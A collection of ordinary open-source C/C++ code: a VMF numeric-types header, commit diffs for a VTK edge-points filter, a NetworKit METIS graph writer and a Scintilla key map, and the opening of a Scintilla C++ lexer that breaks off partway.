#ifndef __VMF_TYPES_H__
#define __VMF_TYPES_H__
/*!
* \file types.hpp
* \brief Header file contains declarations of VMF numeric types
*/
#include <cstdint>
#include <cmath>
#include <memory>
#include <cstring>
#include <utility>
#include <vector>
namespace vmf
{
/*!
* \brief Compares double values
*/
static bool DOUBLE_EQ(double a, double b)
{
return std::abs(a - b) < std::numeric_limits<double>::epsilon();
}
/*!
* \brief Character type. Equivalent of char type in C/C++
*/
typedef char vmf_char;
/*!
* \brief 64-bit integer type.
*/
typedef int64_t vmf_integer;
/*!
* \brief Double precesion floating point type.
*/
typedef double vmf_real;
/*!
* \brief String type.
*/
typedef std::string vmf_string;
/*!
* \brief floating point vector2D type.
*/
struct vmf_vec2d
{
vmf_vec2d() : x(0), y(0) {}
vmf_vec2d(vmf_real _x, vmf_real _y) : x(_x), y(_y) {}
bool operator == (const vmf_vec2d& value) const
{
return DOUBLE_EQ(x, value.x) && DOUBLE_EQ(y, value.y);
}
vmf_real x;
vmf_real y;
};
/*!
* \brief floating point vector3D type.
*/
struct vmf_vec3d : vmf_vec2d
{
vmf_vec3d() : vmf_vec2d(), z(0){}
vmf_vec3d(vmf_real _x, vmf_real _y, vmf_real _z) : vmf_vec2d(_x, _y), z(_z) {}
bool operator == (const vmf_vec3d& value) const
{
return vmf_vec2d::operator==(value) && DOUBLE_EQ(z, value.z);
}
vmf_real z;
};
/*!
* \brief floating point vector4D type.
*/
struct vmf_vec4d : vmf_vec3d
{
vmf_vec4d() : vmf_vec3d(), w(0){}
vmf_vec4d(vmf_real _x, vmf_real _y, vmf_real _z, vmf_real _w) : vmf_vec3d(_x, _y, _z), w(_w) {}
bool operator == (const vmf_vec4d& value) const
{
return vmf_vec3d::operator==(value) && DOUBLE_EQ(w, value.w);
}
vmf_real w;
};
/*!
* \brief binary buffer with arbitrary content
*/
struct vmf_rawbuffer : public std::vector<char>
{
public:
vmf_rawbuffer() : std::vector<char>()
{ }
vmf_rawbuffer(const vmf_rawbuffer& other) : std::vector<char>(other)
{ }
vmf_rawbuffer(vmf_rawbuffer&& other)
{
std::swap(*this, other);
}
vmf_rawbuffer& operator=(const vmf_rawbuffer& other)
{
return static_cast<vmf_rawbuffer&>(
std::vector<char>::operator=(
static_cast< const std::vector<char> & >(other)));
}
vmf_rawbuffer& operator=(vmf_rawbuffer&& other)
{
return static_cast<vmf_rawbuffer&>(
std::vector<char>::operator=(
static_cast< std::vector<char> && >(other)));
}
vmf_rawbuffer(const char* str, const size_t len)
{
*this = (str != nullptr) ? vmf_rawbuffer(str, str + len) : vmf_rawbuffer(len);
}
private:
// These constructors are private
// because a Variant value can be converted to both size_t and vmf_rawbuffer
vmf_rawbuffer(const size_t len) : std::vector<char>(len)
{ }
vmf_rawbuffer(const char* strBegin,
const char* strEnd) : std::vector<char>(strBegin, strEnd)
{ }
};
} /* vmf */
#endif /* __VMF_TYPES_H__ */
<|endoftext|>
|
<commit_before>/*=========================================================================
Program: Visualization Toolkit
Module: EdgePts.cc
Language: C++
Date: $Date$
Version: $Revision$
Copyright (c) 1993-1995 Ken Martin, Will Schroeder, Bill Lorensen.
This software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.
The following terms apply to all files associated with the software unless
explicitly disclaimed in individual files. This copyright specifically does
not apply to the related textbook "The Visualization Toolkit" ISBN
013199837-4 published by Prentice Hall which is covered by its own copyright.
The authors hereby grant permission to use, copy, and distribute this
software and its documentation for any purpose, provided that existing
copyright notices are retained in all copies and that this notice is included
verbatim in any distributions. Additionally, the authors grant permission to
modify this software and its documentation for any purpose, provided that
such modifications are not distributed without the explicit consent of the
authors and that existing copyright notices are retained in all copies. Some
of the algorithms implemented by this software are patented, observe all
applicable patent law.
IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR
DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT
OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,
EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,
BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN
"AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE
MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
=========================================================================*/
#include "EdgePts.hh"
// Description:
// Construct object with contour value of 0.0.
vtkEdgePoints::vtkEdgePoints()
{
this->Value = 0.0;
}
vtkEdgePoints::~vtkEdgePoints()
{
}
//
// General filter: handles arbitrary input.
//
void vtkEdgePoints::Execute()
{
vtkScalars *inScalars;
vtkFloatPoints *newPts;
vtkCellArray *newVerts;
int cellId, above, below, ptId, i, numEdges, edgeId;
vtkCell *cell, *edge;
float range[2];
float s0, s1, x0[3], x1[3], x[3], r;
vtkFloatScalars *newScalars, cellScalars(MAX_CELL_SIZE);
vtkIdList neighbors(MAX_CELL_SIZE);
int visitedNei, nei, pts[1];
vtkDebugMacro(<< "Generating edge points");
//
// Initialize and check input
//
this->Initialize();
if ( ! (inScalars = this->Input->GetPointData()->GetScalars()) )
{
vtkErrorMacro(<<"No scalar data to contour");
return;
}
inScalars->GetRange(range);
if ( this->Value < range[0] || this->Value > range[1] )
{
vtkWarningMacro(<<"Value lies outside of scalar range");
return;
}
newPts = new vtkFloatPoints(5000,10000);
newScalars = new vtkFloatScalars(5000,10000);
newVerts = new vtkCellArray(5000,10000);
//
// Traverse all edges. Since edges are not explicitly represented, use a
// trick: traverse all cells and obtain cell edges and then cell edge
// neighbors. If cell id < all edge neigbors ids, then this edge has not
// yet been visited and is processed.
//
for (cellId=0; cellId<Input->GetNumberOfCells(); cellId++)
{
cell = this->Input->GetCell(cellId);
inScalars->GetScalars(cell->PointIds,cellScalars);
// loop over cell points to check if cell straddles iso-surface value
for ( above=below=0, ptId=0; ptId < cell->GetNumberOfPoints(); ptId++ )
{
if ( cellScalars.GetScalar(ptId) >= this->Value )
above = 1;
else if ( cellScalars.GetScalar(ptId) < this->Value )
below = 1;
}
if ( above && below ) //contour passes through cell
{
if ( cell->GetCellDimension() < 2 ) //only points can be generated
{
cell->Contour(this->Value, &cellScalars, newPts, newVerts, NULL,
NULL, newScalars);
}
else //
{
numEdges = cell->GetNumberOfEdges();
for (edgeId=0; edgeId < numEdges; edgeId++)
{
edge = cell->GetEdge(edgeId);
inScalars->GetScalars(edge->PointIds,cellScalars);
s0 = cellScalars.GetScalar(0);
s1 = cellScalars.GetScalar(1);
if ( (s0 < this->Value && s1 >= this->Value) ||
(s0 >= this->Value && s1 < this->Value) )
{
this->Input->GetCellNeighbors(cellId,edge->PointIds,neighbors);
for (visitedNei=0, i=0; i<neighbors.GetNumberOfIds(); i++)
{
if ( neighbors.GetId(i) < cellId )
{
visitedNei = 1;
break;
}
}
if ( ! visitedNei ) //interpolate edge for point
{
edge->Points.GetPoint(0,x0);
edge->Points.GetPoint(1,x1);
r = (this->Value - s0) / (s1 - s0);
for (i=0; i<3; i++) x[i] = x0[i] + r * (x1[i] - x0[i]);
pts[0] = newPts->InsertNextPoint(x);
newScalars->InsertScalar(pts[0],this->Value);
newVerts->InsertNextCell(1,pts);
}
}
} //for each edge
} //dimension 2 and higher
} //above and below
} //for all cells
vtkDebugMacro(<<"Created: " << newPts->GetNumberOfPoints() << " points");
//
// Update ourselves. Because we don't know up front how many verts we've
// created, take care to reclaim memory.
//
this->SetPoints(newPts);
newPts->Delete();
this->SetVerts(newVerts);
newVerts->Delete();
this->PointData.SetScalars(newScalars);
newScalars->Delete();
this->Squeeze();
}
void vtkEdgePoints::PrintSelf(ostream& os, vtkIndent indent)
{
vtkDataSetToPolyFilter::PrintSelf(os,indent);
os << indent << "Contour Value: " << this->Value << "\n";
}
<commit_msg>removed unused variable<commit_after>/*=========================================================================
Program: Visualization Toolkit
Module: EdgePts.cc
Language: C++
Date: $Date$
Version: $Revision$
Copyright (c) 1993-1995 Ken Martin, Will Schroeder, Bill Lorensen.
This software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.
The following terms apply to all files associated with the software unless
explicitly disclaimed in individual files. This copyright specifically does
not apply to the related textbook "The Visualization Toolkit" ISBN
013199837-4 published by Prentice Hall which is covered by its own copyright.
The authors hereby grant permission to use, copy, and distribute this
software and its documentation for any purpose, provided that existing
copyright notices are retained in all copies and that this notice is included
verbatim in any distributions. Additionally, the authors grant permission to
modify this software and its documentation for any purpose, provided that
such modifications are not distributed without the explicit consent of the
authors and that existing copyright notices are retained in all copies. Some
of the algorithms implemented by this software are patented, observe all
applicable patent law.
IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR
DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT
OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,
EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,
BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN
"AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE
MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
=========================================================================*/
#include "EdgePts.hh"
// Description:
// Construct object with contour value of 0.0.
vtkEdgePoints::vtkEdgePoints()
{
this->Value = 0.0;
}
vtkEdgePoints::~vtkEdgePoints()
{
}
//
// General filter: handles arbitrary input.
//
void vtkEdgePoints::Execute()
{
vtkScalars *inScalars;
vtkFloatPoints *newPts;
vtkCellArray *newVerts;
int cellId, above, below, ptId, i, numEdges, edgeId;
vtkCell *cell, *edge;
float range[2];
float s0, s1, x0[3], x1[3], x[3], r;
vtkFloatScalars *newScalars, cellScalars(MAX_CELL_SIZE);
vtkIdList neighbors(MAX_CELL_SIZE);
int visitedNei, pts[1];
vtkDebugMacro(<< "Generating edge points");
//
// Initialize and check input
//
this->Initialize();
if ( ! (inScalars = this->Input->GetPointData()->GetScalars()) )
{
vtkErrorMacro(<<"No scalar data to contour");
return;
}
inScalars->GetRange(range);
if ( this->Value < range[0] || this->Value > range[1] )
{
vtkWarningMacro(<<"Value lies outside of scalar range");
return;
}
newPts = new vtkFloatPoints(5000,10000);
newScalars = new vtkFloatScalars(5000,10000);
newVerts = new vtkCellArray(5000,10000);
//
// Traverse all edges. Since edges are not explicitly represented, use a
// trick: traverse all cells and obtain cell edges and then cell edge
// neighbors. If cell id < all edge neigbors ids, then this edge has not
// yet been visited and is processed.
//
for (cellId=0; cellId<Input->GetNumberOfCells(); cellId++)
{
cell = this->Input->GetCell(cellId);
inScalars->GetScalars(cell->PointIds,cellScalars);
// loop over cell points to check if cell straddles iso-surface value
for ( above=below=0, ptId=0; ptId < cell->GetNumberOfPoints(); ptId++ )
{
if ( cellScalars.GetScalar(ptId) >= this->Value )
above = 1;
else if ( cellScalars.GetScalar(ptId) < this->Value )
below = 1;
}
if ( above && below ) //contour passes through cell
{
if ( cell->GetCellDimension() < 2 ) //only points can be generated
{
cell->Contour(this->Value, &cellScalars, newPts, newVerts, NULL,
NULL, newScalars);
}
else //
{
numEdges = cell->GetNumberOfEdges();
for (edgeId=0; edgeId < numEdges; edgeId++)
{
edge = cell->GetEdge(edgeId);
inScalars->GetScalars(edge->PointIds,cellScalars);
s0 = cellScalars.GetScalar(0);
s1 = cellScalars.GetScalar(1);
if ( (s0 < this->Value && s1 >= this->Value) ||
(s0 >= this->Value && s1 < this->Value) )
{
this->Input->GetCellNeighbors(cellId,edge->PointIds,neighbors);
for (visitedNei=0, i=0; i<neighbors.GetNumberOfIds(); i++)
{
if ( neighbors.GetId(i) < cellId )
{
visitedNei = 1;
break;
}
}
if ( ! visitedNei ) //interpolate edge for point
{
edge->Points.GetPoint(0,x0);
edge->Points.GetPoint(1,x1);
r = (this->Value - s0) / (s1 - s0);
for (i=0; i<3; i++) x[i] = x0[i] + r * (x1[i] - x0[i]);
pts[0] = newPts->InsertNextPoint(x);
newScalars->InsertScalar(pts[0],this->Value);
newVerts->InsertNextCell(1,pts);
}
}
} //for each edge
} //dimension 2 and higher
} //above and below
} //for all cells
vtkDebugMacro(<<"Created: " << newPts->GetNumberOfPoints() << " points");
//
// Update ourselves. Because we don't know up front how many verts we've
// created, take care to reclaim memory.
//
this->SetPoints(newPts);
newPts->Delete();
this->SetVerts(newVerts);
newVerts->Delete();
this->PointData.SetScalars(newScalars);
newScalars->Delete();
this->Squeeze();
}
void vtkEdgePoints::PrintSelf(ostream& os, vtkIndent indent)
{
vtkDataSetToPolyFilter::PrintSelf(os,indent);
os << indent << "Contour Value: " << this->Value << "\n";
}
<|endoftext|>
|
<commit_before>/*
* METISGraphWriter.cpp
*
* Created on: 30.01.2013
* Author: Christian Staudt (christian.staudt@kit.edu)
*/
#include "METISGraphWriter.h"
#include "../auxiliary/Enforce.h"
namespace NetworKit {
void METISGraphWriter::write(Graph& G, const std::string& path) {
this->write(G, G.isWeighted(), path);
}
void METISGraphWriter::write(Graph& G, bool weighted, std::string path) {
if (G.isDirected()) {
throw std::invalid_argument{"METIS does not support directed graphs"};
}
std::ofstream file(path);
Aux::enforceOpened(file);
count n = G.numberOfNodes();
count m = G.numberOfEdges();
file << n << " " << m << " " << int{weighted} << '\n';
if (weighted == false) {
G.forNodes([&](node u) {
G.forNeighborsOf(u, [&](node v){
file << v + 1 << " ";
});
file << '\n';
});
} else {
G.forNodes([&](node u) {
G.forNeighborsOf(u, [&](node v){
file << v + 1 << " " << G.weight(u, v) <<"\t";
});
file << '\n';
});
}
}
} /* namespace NetworKit */
<commit_msg>METISGraphWriter: improve performance by not using Graph::weight()<commit_after>/*
* METISGraphWriter.cpp
*
* Created on: 30.01.2013
* Author: Christian Staudt (christian.staudt@kit.edu)
*/
#include "METISGraphWriter.h"
#include "../auxiliary/Enforce.h"
namespace NetworKit {
void METISGraphWriter::write(Graph& G, const std::string& path) {
this->write(G, G.isWeighted(), path);
}
void METISGraphWriter::write(Graph& G, bool weighted, std::string path) {
if (G.isDirected()) {
throw std::invalid_argument{"METIS does not support directed graphs"};
}
std::ofstream file(path);
Aux::enforceOpened(file);
count n = G.numberOfNodes();
count m = G.numberOfEdges();
file << n << " " << m << " " << int{weighted} << '\n';
if (weighted == false) {
G.forNodes([&](node u) {
G.forNeighborsOf(u, [&](node v){
file << v + 1 << " ";
});
file << '\n';
});
} else {
G.forNodes([&](node u) {
G.forNeighborsOf(u, [&](node v, edgeweight w){
file << v + 1 << " " << w <<"\t";
});
file << '\n';
});
}
}
} /* namespace NetworKit */
<|endoftext|>
|
<commit_before>// Scintilla source code edit control
/** @file KeyMap.cxx
** Defines a mapping between keystrokes and commands.
**/
// Copyright 1998-2003 by Neil Hodgson <neilh@scintilla.org>
// The License.txt file describes the conditions under which this software may be distributed.
#include "Platform.h"
#include "Scintilla.h"
#include "KeyMap.h"
KeyMap::KeyMap() : kmap(0), len(0), alloc(0) {
for (int i = 0; MapDefault[i].key; i++) {
AssignCmdKey(MapDefault[i].key,
MapDefault[i].modifiers,
MapDefault[i].msg);
}
}
KeyMap::~KeyMap() {
Clear();
}
void KeyMap::Clear() {
delete []kmap;
kmap = 0;
len = 0;
alloc = 0;
}
void KeyMap::AssignCmdKey(int key, int modifiers, unsigned int msg) {
if ((len+1) >= alloc) {
KeyToCommand *ktcNew = new KeyToCommand[alloc + 5];
if (!ktcNew)
return;
for (int k = 0; k < len; k++)
ktcNew[k] = kmap[k];
alloc += 5;
delete []kmap;
kmap = ktcNew;
}
for (int keyIndex = 0; keyIndex < len; keyIndex++) {
if ((key == kmap[keyIndex].key) && (modifiers == kmap[keyIndex].modifiers)) {
kmap[keyIndex].msg = msg;
return;
}
}
kmap[len].key = key;
kmap[len].modifiers = modifiers;
kmap[len].msg = msg;
len++;
}
unsigned int KeyMap::Find(int key, int modifiers) {
for (int i = 0; i < len; i++) {
if ((key == kmap[i].key) && (modifiers == kmap[i].modifiers)) {
return kmap[i].msg;
}
}
return 0;
}
const KeyToCommand KeyMap::MapDefault[] = {
{SCK_DOWN, SCI_NORM, SCI_LINEDOWN},
{SCK_DOWN, SCI_SHIFT, SCI_LINEDOWNEXTEND},
{SCK_DOWN, SCI_CTRL, SCI_LINESCROLLDOWN},
{SCK_DOWN, SCI_ALT, SCI_PARADOWN},
// {SCK_DOWN, SCI_ASHIFT, SCI_PARADOWNEXTEND},
{SCK_DOWN, SCI_ASHIFT, SCI_LINEDOWNRECTEXTEND},
{SCK_UP, SCI_NORM, SCI_LINEUP},
{SCK_UP, SCI_SHIFT, SCI_LINEUPEXTEND},
{SCK_UP, SCI_CTRL, SCI_LINESCROLLUP},
{SCK_UP, SCI_ALT, SCI_PARAUP},
// {SCK_UP, SCI_ASHIFT, SCI_PARAUPEXTEND},
{SCK_UP, SCI_ASHIFT, SCI_LINEUPRECTEXTEND},
{SCK_LEFT, SCI_NORM, SCI_CHARLEFT},
{SCK_LEFT, SCI_SHIFT, SCI_CHARLEFTEXTEND},
{SCK_LEFT, SCI_CTRL, SCI_WORDLEFT},
{SCK_LEFT, SCI_CSHIFT, SCI_WORDLEFTEXTEND},
{SCK_LEFT, SCI_ALT, SCI_WORDPARTLEFT},
// {SCK_LEFT, SCI_ASHIFT, SCI_WORDPARTLEFTEXTEND},
{SCK_LEFT, SCI_ASHIFT, SCI_CHARLEFTRECTEXTEND},
{SCK_RIGHT, SCI_NORM, SCI_CHARRIGHT},
{SCK_RIGHT, SCI_SHIFT, SCI_CHARRIGHTEXTEND},
{SCK_RIGHT, SCI_CTRL, SCI_WORDRIGHT},
{SCK_RIGHT, SCI_CSHIFT, SCI_WORDRIGHTEXTEND},
{SCK_RIGHT, SCI_ALT, SCI_WORDPARTRIGHT},
// {SCK_RIGHT, SCI_ASHIFT, SCI_WORDPARTRIGHTEXTEND},
{SCK_RIGHT, SCI_ASHIFT, SCI_CHARRIGHTRECTEXTEND},
{SCK_HOME, SCI_NORM, SCI_VCHOME},
{SCK_HOME, SCI_SHIFT, SCI_VCHOMEEXTEND},
{SCK_HOME, SCI_CTRL, SCI_DOCUMENTSTART},
{SCK_HOME, SCI_CSHIFT, SCI_DOCUMENTSTARTEXTEND},
{SCK_HOME, SCI_ALT, SCI_HOMEDISPLAY},
// {SCK_HOME, SCI_ASHIFT, SCI_HOMEDISPLAYEXTEND},
{SCK_HOME, SCI_ASHIFT, SCI_VCHOMERECTEXTEND},
{SCK_END, SCI_NORM, SCI_LINEEND},
{SCK_END, SCI_SHIFT, SCI_LINEENDEXTEND},
{SCK_END, SCI_CTRL, SCI_DOCUMENTEND},
{SCK_END, SCI_CSHIFT, SCI_DOCUMENTENDEXTEND},
{SCK_END, SCI_ALT, SCI_LINEENDDISPLAY},
// {SCK_END, SCI_ASHIFT, SCI_LINEENDDISPLAYEXTEND},
{SCK_END, SCI_ASHIFT, SCI_LINEENDRECTEXTEND},
{SCK_PRIOR, SCI_NORM, SCI_PAGEUP},
{SCK_PRIOR, SCI_SHIFT, SCI_PAGEUPEXTEND},
{SCK_PRIOR, SCI_ASHIFT, SCI_PAGEUPRECTEXTEND},
{SCK_NEXT, SCI_NORM, SCI_PAGEDOWN},
{SCK_NEXT, SCI_SHIFT, SCI_PAGEDOWNEXTEND},
{SCK_NEXT, SCI_ASHIFT, SCI_PAGEDOWNRECTEXTEND},
{SCK_DELETE, SCI_NORM, SCI_CLEAR},
{SCK_DELETE, SCI_SHIFT, SCI_CUT},
{SCK_DELETE, SCI_CTRL, SCI_DELWORDRIGHT},
{SCK_DELETE, SCI_CSHIFT, SCI_DELLINERIGHT},
{SCK_INSERT, SCI_NORM, SCI_EDITTOGGLEOVERTYPE},
{SCK_INSERT, SCI_SHIFT, SCI_PASTE},
{SCK_INSERT, SCI_CTRL, SCI_COPY},
{SCK_ESCAPE, SCI_NORM, SCI_CANCEL},
{SCK_BACK, SCI_NORM, SCI_DELETEBACK},
{SCK_BACK, SCI_SHIFT, SCI_DELETEBACK},
{SCK_BACK, SCI_CTRL, SCI_DELWORDLEFT},
{SCK_BACK, SCI_ALT, SCI_UNDO},
{SCK_BACK, SCI_CSHIFT, SCI_DELLINELEFT},
{'Z', SCI_CTRL, SCI_UNDO},
{'Y', SCI_CTRL, SCI_REDO},
{'X', SCI_CTRL, SCI_CUT},
{'C', SCI_CTRL, SCI_COPY},
{'V', SCI_CTRL, SCI_PASTE},
{'A', SCI_CTRL, SCI_SELECTALL},
{SCK_TAB, SCI_NORM, SCI_TAB},
{SCK_TAB, SCI_SHIFT, SCI_BACKTAB},
{SCK_RETURN, SCI_NORM, SCI_NEWLINE},
{SCK_RETURN, SCI_SHIFT, SCI_NEWLINE},
{SCK_ADD, SCI_CTRL, SCI_ZOOMIN},
{SCK_SUBTRACT, SCI_CTRL, SCI_ZOOMOUT},
{SCK_DIVIDE, SCI_CTRL, SCI_SETZOOM},
//'L', SCI_CTRL, SCI_FORMFEED,
{'L', SCI_CTRL, SCI_LINECUT},
{'L', SCI_CSHIFT, SCI_LINEDELETE},
{'T', SCI_CSHIFT, SCI_LINECOPY},
{'T', SCI_CTRL, SCI_LINETRANSPOSE},
{'D', SCI_CTRL, SCI_LINEDUPLICATE},
{'U', SCI_CTRL, SCI_LOWERCASE},
{'U', SCI_CSHIFT, SCI_UPPERCASE},
{0,0,0},
};
<commit_msg>Added key bindings to key map for functions displaced by rectangular selection.<commit_after>// Scintilla source code edit control
/** @file KeyMap.cxx
** Defines a mapping between keystrokes and commands.
**/
// Copyright 1998-2003 by Neil Hodgson <neilh@scintilla.org>
// The License.txt file describes the conditions under which this software may be distributed.
#include "Platform.h"
#include "Scintilla.h"
#include "KeyMap.h"
KeyMap::KeyMap() : kmap(0), len(0), alloc(0) {
for (int i = 0; MapDefault[i].key; i++) {
AssignCmdKey(MapDefault[i].key,
MapDefault[i].modifiers,
MapDefault[i].msg);
}
}
KeyMap::~KeyMap() {
Clear();
}
void KeyMap::Clear() {
delete []kmap;
kmap = 0;
len = 0;
alloc = 0;
}
void KeyMap::AssignCmdKey(int key, int modifiers, unsigned int msg) {
if ((len+1) >= alloc) {
KeyToCommand *ktcNew = new KeyToCommand[alloc + 5];
if (!ktcNew)
return;
for (int k = 0; k < len; k++)
ktcNew[k] = kmap[k];
alloc += 5;
delete []kmap;
kmap = ktcNew;
}
for (int keyIndex = 0; keyIndex < len; keyIndex++) {
if ((key == kmap[keyIndex].key) && (modifiers == kmap[keyIndex].modifiers)) {
kmap[keyIndex].msg = msg;
return;
}
}
kmap[len].key = key;
kmap[len].modifiers = modifiers;
kmap[len].msg = msg;
len++;
}
unsigned int KeyMap::Find(int key, int modifiers) {
for (int i = 0; i < len; i++) {
if ((key == kmap[i].key) && (modifiers == kmap[i].modifiers)) {
return kmap[i].msg;
}
}
return 0;
}
const KeyToCommand KeyMap::MapDefault[] = {
{SCK_DOWN, SCI_NORM, SCI_LINEDOWN},
{SCK_DOWN, SCI_SHIFT, SCI_LINEDOWNEXTEND},
{SCK_DOWN, SCI_CTRL, SCI_LINESCROLLDOWN},
{SCK_DOWN, SCI_ASHIFT, SCI_LINEDOWNRECTEXTEND},
{SCK_UP, SCI_NORM, SCI_LINEUP},
{SCK_UP, SCI_SHIFT, SCI_LINEUPEXTEND},
{SCK_UP, SCI_CTRL, SCI_LINESCROLLUP},
{SCK_UP, SCI_ASHIFT, SCI_LINEUPRECTEXTEND},
{'[', SCI_CTRL, SCI_PARAUP},
{'[', SCI_CSHIFT, SCI_PARAUPEXTEND},
{']', SCI_CTRL, SCI_PARADOWN},
{']', SCI_CSHIFT, SCI_PARADOWNEXTEND},
{SCK_LEFT, SCI_NORM, SCI_CHARLEFT},
{SCK_LEFT, SCI_SHIFT, SCI_CHARLEFTEXTEND},
{SCK_LEFT, SCI_CTRL, SCI_WORDLEFT},
{SCK_LEFT, SCI_CSHIFT, SCI_WORDLEFTEXTEND},
{SCK_LEFT, SCI_ASHIFT, SCI_CHARLEFTRECTEXTEND},
{SCK_RIGHT, SCI_NORM, SCI_CHARRIGHT},
{SCK_RIGHT, SCI_SHIFT, SCI_CHARRIGHTEXTEND},
{SCK_RIGHT, SCI_CTRL, SCI_WORDRIGHT},
{SCK_RIGHT, SCI_CSHIFT, SCI_WORDRIGHTEXTEND},
{SCK_RIGHT, SCI_ASHIFT, SCI_CHARRIGHTRECTEXTEND},
{'/', SCI_CTRL, SCI_WORDPARTLEFT},
{'/', SCI_CSHIFT, SCI_WORDPARTLEFTEXTEND},
{'\\', SCI_CTRL, SCI_WORDPARTRIGHT},
{'\\', SCI_CSHIFT, SCI_WORDPARTRIGHTEXTEND},
{SCK_HOME, SCI_NORM, SCI_VCHOME},
{SCK_HOME, SCI_SHIFT, SCI_VCHOMEEXTEND},
{SCK_HOME, SCI_CTRL, SCI_DOCUMENTSTART},
{SCK_HOME, SCI_CSHIFT, SCI_DOCUMENTSTARTEXTEND},
{SCK_HOME, SCI_ALT, SCI_HOMEDISPLAY},
// {SCK_HOME, SCI_ASHIFT, SCI_HOMEDISPLAYEXTEND},
{SCK_HOME, SCI_ASHIFT, SCI_VCHOMERECTEXTEND},
{SCK_END, SCI_NORM, SCI_LINEEND},
{SCK_END, SCI_SHIFT, SCI_LINEENDEXTEND},
{SCK_END, SCI_CTRL, SCI_DOCUMENTEND},
{SCK_END, SCI_CSHIFT, SCI_DOCUMENTENDEXTEND},
{SCK_END, SCI_ALT, SCI_LINEENDDISPLAY},
// {SCK_END, SCI_ASHIFT, SCI_LINEENDDISPLAYEXTEND},
{SCK_END, SCI_ASHIFT, SCI_LINEENDRECTEXTEND},
{SCK_PRIOR, SCI_NORM, SCI_PAGEUP},
{SCK_PRIOR, SCI_SHIFT, SCI_PAGEUPEXTEND},
{SCK_PRIOR, SCI_ASHIFT, SCI_PAGEUPRECTEXTEND},
{SCK_NEXT, SCI_NORM, SCI_PAGEDOWN},
{SCK_NEXT, SCI_SHIFT, SCI_PAGEDOWNEXTEND},
{SCK_NEXT, SCI_ASHIFT, SCI_PAGEDOWNRECTEXTEND},
{SCK_DELETE, SCI_NORM, SCI_CLEAR},
{SCK_DELETE, SCI_SHIFT, SCI_CUT},
{SCK_DELETE, SCI_CTRL, SCI_DELWORDRIGHT},
{SCK_DELETE, SCI_CSHIFT, SCI_DELLINERIGHT},
{SCK_INSERT, SCI_NORM, SCI_EDITTOGGLEOVERTYPE},
{SCK_INSERT, SCI_SHIFT, SCI_PASTE},
{SCK_INSERT, SCI_CTRL, SCI_COPY},
{SCK_ESCAPE, SCI_NORM, SCI_CANCEL},
{SCK_BACK, SCI_NORM, SCI_DELETEBACK},
{SCK_BACK, SCI_SHIFT, SCI_DELETEBACK},
{SCK_BACK, SCI_CTRL, SCI_DELWORDLEFT},
{SCK_BACK, SCI_ALT, SCI_UNDO},
{SCK_BACK, SCI_CSHIFT, SCI_DELLINELEFT},
{'Z', SCI_CTRL, SCI_UNDO},
{'Y', SCI_CTRL, SCI_REDO},
{'X', SCI_CTRL, SCI_CUT},
{'C', SCI_CTRL, SCI_COPY},
{'V', SCI_CTRL, SCI_PASTE},
{'A', SCI_CTRL, SCI_SELECTALL},
{SCK_TAB, SCI_NORM, SCI_TAB},
{SCK_TAB, SCI_SHIFT, SCI_BACKTAB},
{SCK_RETURN, SCI_NORM, SCI_NEWLINE},
{SCK_RETURN, SCI_SHIFT, SCI_NEWLINE},
{SCK_ADD, SCI_CTRL, SCI_ZOOMIN},
{SCK_SUBTRACT, SCI_CTRL, SCI_ZOOMOUT},
{SCK_DIVIDE, SCI_CTRL, SCI_SETZOOM},
//'L', SCI_CTRL, SCI_FORMFEED,
{'L', SCI_CTRL, SCI_LINECUT},
{'L', SCI_CSHIFT, SCI_LINEDELETE},
{'T', SCI_CSHIFT, SCI_LINECOPY},
{'T', SCI_CTRL, SCI_LINETRANSPOSE},
{'D', SCI_CTRL, SCI_LINEDUPLICATE},
{'U', SCI_CTRL, SCI_LOWERCASE},
{'U', SCI_CSHIFT, SCI_UPPERCASE},
{0,0,0},
};
<|endoftext|>
|
<commit_before>// Scintilla source code edit control
/** @file LexCPP.cxx
** Lexer for C++, C, Java, and Javascript.
**/
// Copyright 1998-2002 by Neil Hodgson <neilh@scintilla.org>
// The License.txt file describes the conditions under which this software may be distributed.
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <stdio.h>
#include <stdarg.h>
#include "Platform.h"
#include "PropSet.h"
#include "Accessor.h"
#include "StyleContext.h"
#include "KeyWords.h"
#include "Scintilla.h"
#include "SciLexer.h"
static bool IsOKBeforeRE(const int ch) {
return (ch == '(') || (ch == '=') || (ch == ',');
}
static inline bool IsAWordChar(const int ch) {
return (ch < 0x80) && (isalnum(ch) || ch == '.' || ch == '_');
}
static inline bool IsAWordStart(const int ch) {
return (ch < 0x80) && (isalnum(ch) || ch == '_');
}
static inline bool IsADoxygenChar(const int ch) {
return (islower(ch) || ch == '$' || ch == '@' ||
ch == '\\' || ch == '&' || ch == '<' ||
ch == '>' || ch == '#' || ch == '{' ||
ch == '}' || ch == '[' || ch == ']');
}
